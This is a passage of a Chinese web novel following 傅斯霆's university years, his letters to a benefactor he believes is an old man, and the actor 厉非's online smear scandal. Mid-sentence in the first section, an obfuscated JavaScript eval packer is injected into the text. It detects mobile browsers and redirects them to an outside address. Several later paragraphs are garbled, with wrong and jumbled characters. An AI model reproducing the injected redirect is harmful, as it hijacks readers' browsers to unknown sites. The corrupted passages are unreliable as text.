今天,是什么节日吗? 他的第一想法就是电影里的圣诞节,甚至有一瞬,他都能幻视客厅里有彩灯,有彩带,有圣诞树,窗外是白雪皑皑。 但现在明明是炎热的夏天。 …… 厉非抱着手臂靠在侧边门厅,就这么看傅斯霆在桌子前站了好久。 半晌,他才终于动了,像一只表情空白而安静的幽灵,小心翼翼飘向桌子。 又隔了一会儿,他才不确定地用手轻轻地抚了抚其中一只薯片袋子。 塑料发出很小的声音,他立刻又不敢碰了。 “……”厉非眸光暗了暗。 傅斯霆整个童年的匮乏,除了玩具、衣服、书籍,更有各种各样曾让他心动的小零食。 他年少时,其实很渴望能尝尝同学们体育课后随便打开就能咕咚咚灌下的汽水,用勺子舀的厚重酸奶,很香的袋装坚果,还有一些在他们地区不那么常见的水果比如蓝莓、荔枝等。 可等到他真的事业有成的时候,又不那么想要那些了。 这里面或许也有赌气的成分,但更多的,是傅斯霆怕自己万一也开始品尝零食,会变得和购物一样一发不可收拾。 二十八岁的傅斯霆吃得很健康,自律,零食不碰。 可压抑并不能够消解心底的欲望。 至少在厉非看来,那些被痛苦压抑的食欲,最后应该是被他也一股脑归也结到了买玩具的疯狂里。 所以他买手办,最喜欢买的一直就是各种小吃街、零食店、摊子和铺子。 家里的巨型中华美食街,是傅斯霆所有乐高里拼得最大也最久的一个。 他甚至自行重新规划了那条街,补充进了不知道多少小店,有卖寿司的,有卖饺子的,有卖拉面的,有卖年糕的,很多很多很多的小吃店。 …… 厉非唯一的庆幸,是他男朋友虽然平常总爱逞强,努力把一切伤痛藏得很好,但好歹在每次酒后微醺后,又总能被他循循善诱、哄出一些从不肯展露的脆弱来。 傅斯霆会在喝醉以后,红着眼睛絮絮叨叨,说我总是发疯,你迟早不再喜欢我。 厉非就会温柔抱着他,说才不会。 傅斯霆还会说,我根本没有你想象的那么好,你看到真实的我会被吓到。 厉非对此也很无奈,他喜欢的本来也不是傅斯霆强装出来的好。 他会跟他说,其实我可以接受你的不好、你的最低处。 你得试着信任我。 但这些话,一遍又一遍,傅斯霆总是醒过来就完全不记得了。而他最近一次喝醉,其实就在摔下楼梯前不久。 那次厉非总算哄他说出来,他其实很喜欢那些甜甜的碳酸水,脆脆的薯片和蛋糕,但他一直在努力克制。他怕吃了,厉非喜欢的腹肌就没有了。 他在这个世上哪怕付出任何代价也绝对不愿意失去的,只有厉非的喜欢。 “……” 挺沉重的吗? 是沉重,但厉非一开始就知道他沉重。 他需要那份沉重。他这种不轻易相信任何人的人,其实需要非常沉重的东西,狠狠压在心上。 但又心疼,心疼爱人沉重里的自苦。 其实,不过是点零食。偶尔吃几次,又有什么要紧? 厉非作为有上镜需求的演员,也自问并做不到一些狠人所谓的“成为舞蹈家以后再也没吃过一口冰淇淋”“成为演员之后每顿只吃三口”之类的狠事。 他馋了,也会偷偷吃薯片,喝汽水,最多事后懊悔一下下、多锻炼一点点。 普通人还是不能对自己太严格,否则总有一天会崩溃。 一些小小的欲望,该吃就吃,该拥有就拥有,该满足就满足。人生总需要一些小小的放纵、罪恶的欢愉,来支撑一些漫长的坚持。 所以这几年,他其实一直在尝试引导。 傅斯霆撑着不肯补偿自己的,他偷偷送。傅斯霆倔强的坚持,他用魅力把人哄昏了头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15012582|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再偷偷打破。 只是想让他知道,稍稍对自己好一点,没那么可怕。 “都是买给你的。” 现在他又一次试着给他补偿。从身后走近,直接握住傅斯霆的手,不由分说啪叽放在零食上。 “小霆想先试试哪一个?” “都说了养你。”他黑瞳看过去,脸颊边眼镜链条晃了晃,“这样吧,以后每个月的今天都是放纵零食日。中午我们就不吃饭了,只吃零食怎么样?我陪你一起吃,之后再陪你一起锻炼。” “去吧,挑你喜欢的。” 傅斯霆没有出声,就只是站着。 厉非靠近他,有一刻真的连半点呼吸声都听不到。他那一刻真的怕傅小霆会哭出来。 好在,没有。 傅斯霆只是眼眶微微有些发红,他拿了最普通的原味酸奶。坐在沙发上默默戳开,喝得很认真,好像也没有很喜悦。 他的表情甚至让厉非怀疑自己是不是买错了。但那个牌子的酸奶他喝过,应该算好喝的。 他不知道,傅斯霆只是被太多混乱的情绪挤压,不知道该做出什么表情。 雪碧与可乐,他其实,也是在厉非带他看电影那天才第一次喝到。 那天厉非不仅买了爆米花,还买了配套的雪碧和可乐。后来厉非的可乐没喝完,剩下的一半,喝完雪碧的傅斯霆也偷偷拿过来喝掉了。 雪碧、可乐、爆米花。“人生前十大心愿零食”,一下子完成了三个。 今天更是划掉了在榜首的酸奶。 原来酸奶是这种滋味……浓稠酸甜,好喝。 然后他又吃到了酥脆的曲奇饼干,巧克力已经也在之前拍糖果广告那天吃到了,但厉非告诉他,那天他吃的是牛奶巧克力,而今天买的是带榛果的酒心巧克力,不一样。 果然不一样。都好吃,但不一样。 狗狗芝士晃晃小胖腿扒拉他,呜呜叫。 “抱歉啊,你不能吃这个。” 傅斯霆还记得宠物店老板说过,要教小狗规矩,不能太过纵容,这样小狗以后才能长成好大狗。还有就是,好像小狗不能吃巧克力。 芝士还是很乖的。 虽然馋,不让吃就不吃了。但看它可怜兮兮,傅斯霆还是剥了一颗肉肠给它。 小狗摇着尾巴开心地走了。 …… 午后的天空有些暗淡,似乎要下雨。 佛罗里达很热,但是一下就是大暴雨,厉非起来检查窗子是不是都关好。回头一看,刚刚吃饱喝足的傅斯霆,已经靠在沙发上昏昏欲睡。 “傅小霆,怎么困成这样?午睡的话还是去床上。” 他回到傅斯霆身边,试着把沉重的人从沙发上弄起来。刚刚抱起,脖子却被搂住,傅斯霆把脸怼在他肩窝,困困地蹭了一会儿。 一阵闷雷。 傅斯霆指尖缓缓拂过冰冷的镜链。 “厉非。” 厉非眼皮轻跳了一下。 这突如其来的一声,和二十八岁时的他太像了。表情也像,但就是因为太像,厉非清楚意识到傅斯霆现在好像哪里不对。 雷声只剩余韵,却一声声滚滚敲打心房。他抚皱眉上傅斯霆的脸颊测了测温度,有点烫。是发烧了?但额头又不热。 “……”他突然想起,刚才的酒心巧克力,他吃了好几颗! 还有饮料。 他以为买的是果汁。但现在仔细看那空瓶,好像不小心买成了甜的低度数鸡尾酒。 “你喝醉了。” 傅斯霆酒量一直约等于没有,一杯啤酒醉。醉了就是这种面色潮红,定定看人的样子。厉非终于找到他不正常的原因,才想松了口气,突然微凉的指尖攀上他的脸颊,指腹蹭过他的金丝镜框。 “我没醉。”傅斯霆说,“很清醒。” 有人每次喝醉都说自己清醒,厉非无奈,正要用力公主抱,忽然前襟被一拽,整个猝不及防被傅斯霆翻身压在沙发上。 黑瞳孔微微放大,傅斯霆身子微微摇晃,却固执地挺直脊背,眼神迷离中又透着倔强的清醒。 他眯起眼睛,嘴角上扬,勉强露出一个不太标准的笑容。 几乎是以清醒而有逻辑的语序,真诚地说:“谢谢你,给我买零食。” “薯片、蛋黄派、曲奇、巧克力,我都很喜欢。” “乐高很喜欢,狗狗很喜欢,所有的一切,都很喜欢。” “……” “但是。” “但是,傅斯霆是厉非的男朋友。不是宠物,不是弟弟。” “十六岁……在你看来很小么?但十六岁,其实什么都能做。” 他伸出手,用力握住厉非手腕。一阵雷电闪过,照得屋子雪亮。那一刻他眸子沉沉,完全是成年男人的压迫力。有一瞬间厉非甚至以为他要吻下来。 他确实整个倾覆下来。但没有吻,只是一如既往很乖地,埋身在他肩窝。 “你说重新养我。” “那可不可以,把我……当成男朋友来养。我只想,被当成男朋友来养。” 厉非沉默了。身上人的胸口紧压着他的胸腔,剧烈而隐秘的心跳分不清彼此。 他突然发现,他们都有点傻。 他到底为什么会觉得,十六岁的傅斯霆不想要他。而傅小霆就更是…… 厉非苦笑,如果他真有一点点把他当弟弟,那他到现在还装模作样戴着这劳什子的金丝镜框是图什么。 窗外雷声轰鸣,大雨终于落了下来。 43、第 43 章 宿舍常有夜聊。 室友们知道太多傅斯霆不知道的事情,他会说起历史、说起热闻八卦、说起体育赛事、说起地缘政治,说起小学时就去过的各个国家。 在他们的言谈中,傅斯霆越发意识到,自己的知识面十分匮乏!他从小地方来,又穷,根本没有机会接触室友所接触的那些丰富多彩的世界。可他也想跟他们在同一个水平线上聊天。于是也开始尝试了解他们知道的东西。好在室友口里的很多新事物只要肯花心思都有免费了解的途径比如,室友在辉煌的音乐大厅欣赏的交响乐,也有在线上的免费听版本。虽然肯定比身临其境差了很多,但至少可以稍稍感受一下那种氛围。 室友们去过的国外博物馆,傅斯霆一样可以在线上云。 他还常去图书馆补那些普通学生初中、高中就会读的课外名著,以及室友们说“当年人人都在看”的网络文学 傅斯霆跟室友坦诚了他穷,是被人资助才念大学的。 所以他得非常努力在期末考中名列前茅去赚国家奖学金。除此之外,他还要去图书馆勤工俭学。到了第一学期期末,他因为成绩优异又肯努力,被推荐给去副院长的新项目做技术助理。 做助理虽然挣得不多,但比起外打工其实也不少了! 这些钱傅斯霆都存着,一分也不乱花。 常傲瑜有一次实在好奇:“霆你别介意我问哈,你既然有资助人包了学费住宿费,还有奖学金和做助理赚的钱,其实你现在每个月的可支配收入都有好几千了吧? "你比一般大学生都有钱啊!" “但你什么也不买哎,为什么?" 傅斯霆也很诚实:“嗯,因为我想多攒点,攒到三万。 爷爷给的五万是保证他可以顺利读完人学的必然存款,他一分都不会随便动。他是想靠自己努力,在人学期问再多攒三万出来。 白裴皓:“攒三万是为了?" “我想买去美国的机票。去那里,见…一个人。 宿舍登时听取“哇”声一片,大家都不困了。“靠!所以是去见女朋友吗?"“原来你小子有对象啊!还以为你单身狗呢,离那么远都念念不忘,大美人吧!" 他没否认。 又是一鄆绡计阵鬼叫。其实这几年,厉非大半时间还是在国内活动。但无奈傅斯霆并不知道厉非在国内的地址,只知道他美国的地址。如果那个梦是真的,厉非住在奥兰多的golden oak,那个红顶白墙的别墅。傅斯霆这几年总有一种幻觉般的安想——好像只要他有办法物理上去到那个家,就能再度回到梦里。所以他经常没事就查去美国的机票价格。挺贵的,加上税就没有看到过五千五以下的价格。如果还要挑寒暑假飞,或者直飞奥兰多,最少单程口口千。往返再加上签证、交通、住宿、伙食等等,差不多是得两三万块。但傅斯霆又真的想去确定一下那栋梦中的房子究竟是不是真的存在。之后几天,室友们不断八卦缠着问他和“美国大美人”的爱情故事,但傅斯霆实在没有任何故事可以讲。最后只能勉强承认:“其实是我单方面喜欢别人,“什么?没追到?“白裴结大惊,"不是吧博斯露,就你这长相,这身材,这学历,摆明了青年才俊前途无量,你也会有追不到的人?人家能兼你啥,最多也就嫌你穷?也是,人家在美国.难道白富美的爸妈不同意你!们在一起? 赵冉则语调平淡:“别舔,追不到换一个。 傅斯霆:“……"“不换。"赵冉:“你这就是看不开了。你应该知道,咱们学校里京市本地人很多。不怕偷偷告诉你,班上一些不显山不露水、看着普普通通的同学,家里都背景了得。“就你这种长相,与其去追虚无缥缈的梦,不如在大学里把握住个当官有钱家里的独生女。等老丈人提携,少奋斗三十年。" 这话实在听着太陌生了,傅斯霆怔愣了一会儿。“不,我只要他。”从此喜提纯爱战神称号。寝室里,赵冉最理解不了傅斯霆这种活在梦里的人,转眼自己很快先身体力行“少奋斗三十年”,找了个家里背景了得的女朋友,那女孩胖胖的、性子温和,外貌平平。很多人都疑惑帅哥为什么找了个这样的女朋友,但赵冉对她特别好。傅斯霆后来听别的同学一脸美慕嫉妒地私底下蛐蛐:“你这就不懂了吧?要什么美女啊,再美抵得过她爸是总后的军级干部?军长家的独生女哎,你以为开玩笑的!"“冉神跟我们都不是一个维度的好吧!听说已经在申请国防生了,这将来有军长岳父罩着还不是平步青云?看没看到什么叫很人?咱们的十九岁在这阿巴阿巴,人家后半辈子的仕途都规划好了! 傅斯霆只在历史书上看过“军师旅团营”的说法,对什么是军级都完全没概念。后来查了一下,级别很高,但他对这种“高”也没概念.曲织帆的大学是国际班,前两年在京市,后两年在法国。这年冬天大四的她从法国飞回来过年,下飞机顺路来找傅斯霆玩:他们三年前就认识,她家境优渥,总是精致漂亮,这两年更是通过“住在法国的白富美艺术疗愈博主”人设,成了一个小有名气的网红,“但其实,我家在我十六岁那年,也差点破产过。那年家里的生意岌岌可危,刚满十六岁的曲织帆却正是最含苞待放的鲜艳玫瑰。"你都想不到,那一年有多少我曾经叫"叔叔’、"伯伯’的老男人,腆着脸露出真面目!"那一年,无数比她大十几岁、几十岁的爸爸以前生意上的“朋友”,明示暗示可以承担少女的学业、照顾她的生活。"一个个年龄都能当我爹了,还有家庭,就那么恬不知耻地给我开价!!还有脸说什么早就喜欢我了,一直想当我"男朋友’!""多恶心你能想到吗?"“更可怕的是,当时家里被债主找上门。我怕爸妈出事,真的在考虑答应!"当人生走到死胡同,真的只要一笔钱就能救命的时候,别的都是假的,只有真金白银是真的。她知道傅斯霆一定能理解,毕竟他也曾走投无路过。 “好在咱们都是不幸中的万幸,我家最后缓过来了,你也有好心人资助。“不然以我俩的姿色,去卖还真是最快能够翻身的路子!抱歉我说话一向比较直,你会觉得被冒犯吗?" 她走后,傅斯霆真心有点恍惚.是啊,如果当年没人肯帮他…他还未必能像曲织帆一样有人争着开价。他毕竟瘸,卖都未必能卖出去。回去路上傅斯霆又遇到了赵冉和他的女朋友,想起他的“少奋斗三十年”理论一美丽确实是先天优势。当一个人拥有好的皮囊、一定的脑子还愿意交易的话,是有机会走捷径快速换到想要的金钱和地位的。随着年龄长大,傅斯霆在周遭也确实看到了越来越多冷静且目标明确的人。 仿佛只有他,还在期待一个遥远的梦。 和大家相比,幼稚又不切实际。 寝室里只有一个和他一样不切实际的人,就是白裴皓。但白家应该是真的有钱,能支撑他的不切实际。他说他家有个小几千万,但傅斯霆觉得他家实际可能比他说出来的还要有钱 白裴皓家确实有钱,他家前几年是某省首富。最近排名降了一点,但也在前十。 每个顶豪之家画风不一样。 像厉非这种就是豪门中规中矩精英培养的后代。 但也总有离谱画风的,比如白裴皓爸妈。[mo白还真就是网上经久不衰的笑话本人——“"十六岁之前根本不知道家里有钱,甚至为父母的困苦艰辛而Emo”。 他也是佩服,爸妈真能憋。 “嗨,厉非。” 十六岁之后,白裴皓就过起了双重人生。在平时,他是中产生意人家普普通通的大学生儿子,可在一些豪华酒会上,他都能跟男明星随便打招呼了!甚至高三的暑假,他还跟这个厉非一起去过东欧研学。租在同一间小别墅,算是脸熟,“哎对了,能不能帮我们班女生问你要个TO签。" 厉非看起来严肃,其实蛮好说话。 “哈哈哈她们肯定爱死我,真的我们班女生都可喜欢你了。哦,我室友也爱你,虽然他不承认。“我就见他看过两次电影,两次都是你的片。他还专门弄个了银色的小盒子,把票根给小心留了!" 室友甚至还在票根画了简笔画。 画的是小王子呢。 整个大一,傅斯霆给柏爷爷写了不少信分享新生活。 最好的柏爷爷: 我加入了画画社团,下一页附上的全是最近我画的小练习,我上色的技巧是不是比以前好了? 我还学会吉他了! 我的室友们每一个都会一两样乐器。 ,他们说吉他最简单,但真正学了好像也没有那么简单, 有学长还希望我加入辩论社,但我去看过一场辩论赛就放弃了。 他们吵架速度好快。 特别谢谢爷爷送的电脑和手机,真的很好用,在学习上帮助了我很多!我现在过得非常充实快乐。爷爷,现在我生活必须品已经都可以自己买了。我知道爷爷对我好,但以后我真的不可以再收您贵重的礼物了,电脑好贵!五万元我知道您不着急,但我一定会还。诚心感谢!Dear Lovely Grandpa: 最近我在图书馆补中外名著,有一本《长腿叔叔》让我想起了爷爷您。我看那本书时总会忍不住想,柏爷爷该不会也和书上一样,其实本人很年轻,很帅?开玩笑的柏爷爷,我前阵子在网上找到了您十五年前出席基金会的电视采访了。爷爷七十多岁的时候还有一头浓密的头发,看起来真是太好了,特别健康我也不用像那本书的女主角一样,每天猜测爷爷是有头发还是秃子了。爷爷七十多岁还有那么多头发,现在也一定还有很多!爷爷年轻的时候真是个大帅哥,爷爷现在一定也很帅。有头发的最帅的Daddy Grandpa:光荣地给您汇报,我加入副院长的项目团队啦!虽然只是帮着师兄师姐们打下手,做一些不算很难的数据处理,不仅能从中学到新东西还有薪水拿!副院长叫郑社稷,是一位德高望重的老教授,不过他最近一年都在国外访学,我都是线上联系的,还没有见过面。不过听说教授明年就回来了。 爷爷爷爷爷爷: 新学期好消息,我成功拿到了国家奖学金,整整八千元!拿到奖学金的那一天我在食堂打了五个菜!我这学期好像已经给爷爷写了好多封信,爷爷会不会觉得我太吵?我因为正在准备建模竞赛最近也忙起来了,保证竞赛结束之前不会频繁打扰爷爷致频频被我信件轰炸的柏爷爷:爷爷爷爷,我在学校建模竞赛里获奖啦!我们团队是全校唯一个大一就得奖的团队。下个月还可以到省里面继续比赛,我会好好准备,真希望能在省赛也拿到好名次柏爷爷,大学里有各种各样的机会。我会努力变得更好! 44、第44章… 厉非心满意足合上信。 他刚接受了大笔股权变更,现在整个家族的产业全落在他身上。他这一年二十岁,肩上突如其来的巨大重担压的人喘不过气。 最近,他给自己找了运动、读书等办法排遣压力。 但那些办法都不如远程养一只会写信的小狐狸治愈人心。 不用投入太多精力,只看到他信里阳光灿烂的语言和成就,就能让人很开心。有一种相隔很远却交相辉映的感觉。 没几天,傅斯霆又接到了黄晨瀚的电话:“小F同学,给我你的尺码,会长要送你一套衣服。” 傅斯霆:“……” “不用了不用了黄经理真的不用了,爷爷答应过不再给我买东西的!我现在真的都可以自己买!” 黄晨瀚:“会长说了就送一套。万一比赛赢了,也总得有个件像样的正装穿去领奖吧?” …" 礼物还是寄过来了,傅斯霆发懵。 因为那盒子实在又长又漂亮,感觉格调很高很昂贵的样子,里面还铺着丝绸衬布。 室友们就更懵,白裴皓喃喃:“#,高定啊!” 傅斯霆根本不知道什么是高定,白裴皓有点怜爱地跟他解释:“就是说这套西装是‘手工缝制的。” “哦……”傅斯霆闻言默默放下心来,盒子太豪华了,他还以为是什么可怕的奢侈品。手工做的应该还好吧。 但看这料子恐怕也至少上千了,绝对是他所有衣服里最贵的一套。 他终于有了人生第一套正装。 穿上以后镜子里的人真的很帅,腰线的裁剪无比贴合。 …… 傅斯霆穿着这身西装拿了省赛二等奖。 同一个月,厉非也拿下了又一个重量级电影节的最佳男主角,事业发展推向更高峰。那一场颁奖典礼十分盛大、全网搬运成了大热。傅斯霆认认真真搬着笔记本在宿舍里看。 常傲瑜凑过来:“诶?他身上这件白西装真好看,跟你那套高定好像啊!你看你看,看这口袋的形状、领口的暗纹,还有扣子,好像情侣装!”傅斯霆仔细看了看,还真挺像!“也许高定就是都很像?这个白裴皓更懂,回头问问他。” 但回头谁也忘了问。 傅斯霆默默开心他有了一件和厉非的衣服那么像的正装。他本来就很小心保养这套西装,现在更是几乎舍不得穿了。 非常非常重要的场合再穿! 得了奖后,厉非那段时间风头无俩。获奖电影的联名更到处都是,学校连锁奶茶店都换上了周边立牌。 傅斯霆每次去食堂都能路过立牌,他甚至都不觉得食堂的饭那么难吃了。 生活真的充满希望和快乐。 夏天到啦亲爱的柏爷爷! 由衷感谢您送的西装,我穿着它拿到了省二等奖,将来毕业典礼和面试的时候,我都会穿这套珍贵的衣服的!!! 爷爷,以下是我穿这套衣服的样子。请您鉴赏。 厉非:"……." “请您鉴赏”这句下面,居然是一只简笔画的穿西装的小狐狸,憨态可掬地摇尾巴。他忍不住微微弯起眼睛,怎么那么可爱呀。 在画的后面,小狐狸还写:爷爷,您记不记得我之前跟你说过,我一直有一个特别欣赏和崇拜的学长。他穿西装也最好看了,我画给您看。下面又有一幅简笔画,是一只黑眸的倨傲黑猫,穿着白色的西装。 …… 人可能就是会藏不住一些心思。比如,喜欢某个人的时候,就时时刻刻想要拐弯抹角提他。傅斯霆至今还是不敢告诉爷爷,“学长”其实是一位当红的男明星。毕竟老年人对于追星应该是不屑一顾的,说不定反而会因为他不务正业浪费钱而讨厌他。 但他真的,不是追星。 他从来不是用那样的眼光看待厉非的。虽然,以他们之间现在这么遥远的距离,说是“以男朋友的眼光看待他”,听起来好像也蛮可笑。 但他对厉非确实不是崇拜、不是仰望,虽然厉非方方面面都值得崇拜和仰望。 他就是“喜欢”他。 从十三岁第一眼,就是很纯粹的一见钟情。 木百~爷~爷~: 快放假啦,最近画画社团里的同学说我画技又精进了,所以我擅自找了一张您年轻时的相片画了一张简笔画像。希望您能喜欢。 “….”厉非是在暑假接到的这封信。 很像! 虽然画得很抽象,但也完全惟妙惟肖地把他祖父的神态给抓住了:“晨瀚哥你看,是不是一模一样?” “哇,真的像老会长,他好会画。” 小F信里所有的可爱图画,厉非都用手机拍下来保存了:“你看,这里还有他画的自己,他画的小黑猫……” 想必那位黑猫学长在小狐狸眼里特别的闪闪发光。厉非始终觉得小黑猫被他画得最可爱。 黄晨瀚:“哇,这画的是你啊!” " " “不是我,是人家的学长。” “啊?是吗?但这侧脸的角度,还有这不屑一顾的眼神,分明就是你好吧,”黄晨瀚低头看看手机又抬头看看厉非,非常确定以及肯定,“这不是完完全全和你 模 样!” 是吗? 厉非歪歪头。他自己倒是看不出来。 …… 整个大一,傅斯霆给爷爷去了好多信。 这一年他整体确实特别开心,感觉生活的一切一切欣欣向荣。当然,也有一些从没经历过的人生波澜,他不知该怎么告诉柏爷爷。比如,升上大二后,傅斯霆竟遇到了人生的第一次告白。 有人能喜欢他,他受宠若惊又很惭愧。也只能很干涩地回复:“谢谢你,但我有喜欢的人了。”回到寝室,赵冉问他:“你不再考虑一下?那姑娘妈妈好像刚升隔壁大学的副校长,已经是厅级干部了。” …" 傅斯霆知道赵冉从来没有恶意,但他跟这个人真的就完全不是一类的脑回路。 “你不是早就知道,我已经有喜欢的人。” “…知道你纯爱,”赵冉说,“但你真以为我们是名校的,没人脉没背景将来毕业出去找工作就能一帆风顺啊?很难的,你多少也得现实点。” 赵冉已经选上了国防生,也和女方爸爸见过面了。成功得到了军长准岳父的准许和青眼。 傅斯霆垂眸笑笑。 是,他也知道这个世界很多事很难。可即便知道,他还是做不到像赵冉那样……“现实”。这个世界本来就什么人都有。那既然有这种只想抓住实际的,但也总该有人.……会跟他一样不切实际吧。总有人即便渺茫,也要追逐最好的梦境、最动人的星辰和彩虹。 傅斯霆万万没想到,他拒绝了一位倾慕者后,居然又有人来跃跃欲试。 这次这位有备而来,明知道他有一个单方面喜欢的人远在国外,也不想放弃。 “你又没和他在一起,要不先跟我试试吧?你觉得不行再继续追你那个白月光也可以啊?我也长得还可以吧,你也不讨厌我对不对?”她很直接真诚,傅斯霆也很直接真诚:“谢谢,但是真的对不起。”“能不能在一起,我这辈子也只会喜欢他一个。所以真的很抱歉。” 对方听他这么说,却好像更不想放弃了:“傅斯霆,人生那么宽广,世界上几十亿人,根本没有谁是不可替代的,真没必要在一棵树上吊死啊?”但还是不行,那女孩回寝室不禁嚎叫:“烦死啦!难得有一个又帅又痴情又为爱守贞的好男人,结果太痴情了完全不流通啊!!!”“离谱啊,对方好强啊,怎么做到一整年不出现还死死吊住他的啊?” 世界上确实有几十亿人,可能对于不少人来说,是只要是条件差不多,就没有谁比谁特别。 但对傅斯霆而言,这个世界显而易见地存在“唯一特别”的那个人。 厉非就是特别的,不仅仅因为他本就万众瞩目。 哪怕他不是很多人喜爱的大明星,可只要想起梦里他垂眸时的浅笑,望向他时专注的黑瞳,那酸甜的柑橘香…… 他都绝对会想也不想地再次奔向他,千千万万次。 很奇怪吧,明明在现实中还没有碰触,就已经无比确定了。 哪怕一辈子孤老终生,他也不可能考虑别人。 …… 大二伊始,国外访学一年的副院长郑社稷教授终于回来了。 他的办公室在计算机学院顶楼,推开门就有一股书香扑面。教授五十多岁,长得算是慈祥,背后红木书桌上高悬”上善若水"四个大字。郑社稷见到傅斯霆时目光一亮:“没想到小傅技术厉害,样子也长得一表人才。”当晚教授带七八个学生去吃了顿饭,吃完走出来,他才发现傅斯霆有点瘸腿。 “美中不足啊,但也无伤大雅。” 之后,郑教授对傅斯霆就非常热络,常常嘘寒问暖,不仅把他安排进了名下重要的项目、给他申请了和研究生学长 样的补助,还特意在办公室为他添置了一把舒适的椅子。就连收藏的各种名茶,也动不动就非要塞给傅斯霆一些。“这茶好,做学问要劳逸结合,小傅同学这么优秀要多注意身体!”这么明目张胆的偏爱,研究生师兄师姐都很美慕:“之前这种项目没听说带本科生的,郑老师估计是看好你,想培养你之后读他的研究生和博士吧?” 傅斯霆没有爸爸。 郑社稷给了他一点父亲的感觉。 就这么安然过了一个学期,却有一天常傲瑜一脸紧张地摁住他:“哎,我认真问你一件事情,那个郑老头一天到晚的找你,没有对你怎么样吧?”傅斯霆当场脑子都□不转了。 “嗨!你有所不知,老色狼把人家女学生叫到办公室摸人家大腿,被人实名举报了。总之以前也听过这人有潜规则女生的传闻,品性好像不太端正。““但似乎没听说有男学生遭过殃。” “总之没有就好。我就是担心。你看你长得也帅,万一老色狼换了口味……总之还是小心为上!”傅斯霆一时真的很难接受郑教授可能是个禽兽这件事。但再不愿意接受,也不得不暗暗防备。可一段时间观察下来,郑社稷对他的接触真的特别正常。他又偷偷观察了一下他对师姐们的态度,也看不到任何不对劲的地方。 郑教授好像就只是关心照顾大家而已。聊天不是学术就是人生,没有动手动脚。 难道,是常傲瑜弄错了? 很快大二下学期开始,郑社稷说:“下周重要的学术会议,我带你们几个见见世面。和厦教授 起吃晚饭,你们到时都可以亲自跟他请教!”郑社稷已经是知名教授了,而厦梅英更是整个行业都德高望重的大牛,编写了他们的专业课本。学术会议上,厦教授注意到了傅斯霆,对他和蔼一笑。 可那顿晚饭傅斯霆最后却迟到了。 迟到的原因是他在出门前多看了一眼手机,厉非又挂在腥风血雨的热搜上。 可那天真正出事的人根本就不是厉非。 而是他前经纪公司的老总,被警方蓝底白字通报了。 罪名不限于威胁、囚禁旗下女艺人,逼迫她们陪睡。这家公司从前几年就接连有小艺人自杀的新闻,如今老总翻车后遗书也终于被公布,直指被公司逼迫。可也不知道是有人授意还是媒体故意博眼球,网上放出那个老总的照片时,放的都是他很多年前同厉非在一场颁奖典礼上的合影。人们总是喜欢造神也喜欢毁神。厉非刚因拿了国际奖项而被捧上神坛,现在关于他之前的父母争议、和文瑄高子斐的爱恨情仇,又全部重新被扒出来。人们很理所当然地认为,作为沈明德那种五毒俱全男人的儿子,又在无恶不作的前老板公司签约过。 周遭人都是烂的,他不可能干净。 …… 厉非都被网上这群人的逻辑弄笑了。 他签这家公司时才十岁,合约在他十五岁时到期,并没有续约。他跟这家公司毫无关系都已经五六年了。加上老总又对男的没兴趣,又和沈导是旧友。所以一直以来在他面前当然是人模狗样、热情礼貌的形象。这些年,厉非那么多部戏连轴转,国内国外跑,公司的肮脏内幕和老板的双面人生他上哪儿知道? 但没用。 舆论认定他不可能不知内幕。 厉非这两年总是倒毒被骂,澄清还每次都是所有人都选择性眼瞎,他都习惯这种水逆了。没想到更离谐的是就在隔天,另一个行业瑰宝级别德高望重、形象良好的男星也被爆出恶劣性丑间。 偏偏这个男星和他合拍的电影正好这天上映。 可想而知。 电影直接撤档,舆论更是一发不可收拾。 这一年二十岁的厉非亲爸不做人,前老板不做人,前同事不做人。近朱者赤近墨者黑,谁能相信他出淤泥而不染? 随即更有人扒出当年十岁的厉非在偏远山区拍戏,求父亲资助了一个当地孤儿。可那个孤儿长大后却没有学好,打群架当街砍死了好几个人。现在这事也被算到了厉非头上。玄学神棍大师一个个跳出来,说他救了坏人惹了不该有的因果,现在就在遭报应。 … 曲织帆被效死,法国废局两三点她也完全不题,一边对线 进于给傅斯:“这群人都疯了吧,前老板和前同事把事也能连坐?合联就更离洁,他当时多大,十三岁?那 人真眼睹看不出来他当年就一个孩子,他能道什么内篇啊?“为什么就不用脑子想想啊,为什么全网都是无脑骂啊,我真想不通!” 傅斯霆也想不通。 所以虽然理智上知道对线没用,他还是忍不住去网上一条一条回复,摆事实讲道理,帮厉非辩驳。 结果就是收到无数极其恶毒的谩骂诅咒。 可厉非的评论区,只比他的私信更加恶毒百倍干倍。他最珍贵的宝石,却被人这样残酷又一笔一划千刀万剐,他却不能保护他。 傅斯霆就是因为这个才迟到了快一个小时去了晚宴。面对厦教授也全程心不在焉,都不知道那天晚宴怎么结束的。那一晚上他都没睡好,抱着手机蜷缩着特别难受和不甘心。被子像是温柔的怀抱,让他想起梦中厉非的体温。梦里那人二十八岁,平和、包容又温柔。温柔得根本不像是……遭到过这种声势浩大的残忍抹黑和讨伐。 …… 厉非坐在办公桌前,拿着钱包里的小狐狸图片对着阳光看了又看。 他这两年也成长不少。 还记得第一次深陷舆论漩涡,他还会失眠心悸。而这次的事闹得更大,冤屈更不比上次少,他却发现自己这回倒是挺麻木的。 真是什么都能怪他啊…… 连资助过的人长大后变坏了都能怪他,他要是能事先知道养出来的是好狐狸还是毒蛇,他也肯定不会资助毒蛇啊。问题是谁有前后眼?能提前知道好好的人怎么就突然就走极端了? 还有不少理中客,说什么“厉非客观上也没有什么错。但他遇到的人都不好,至少说明他没眼光、识人不清”。 一句“识人不清”说得多容易。 可香甜的苹果放久了也会烂掉。难道看到烂苹果一句“识人不清”,就能反推和这个苹果从来没有香甜过?不过说这些现在都没有意义了。他垂眸,重复看着手机邮件里外国导演的邀请函,想着之前黄晨瀚劝他的一些话。最后按下通话键。 “是的,我下定决心了。” 短时间内,舆论大概是没有什么翻转的余地。 那么多人都抵制他、举报他、要他退圈。那他不如暂时……就先离开这片腥风血雨的舆论场。 趁这个机会,去试一试更远的舞台。 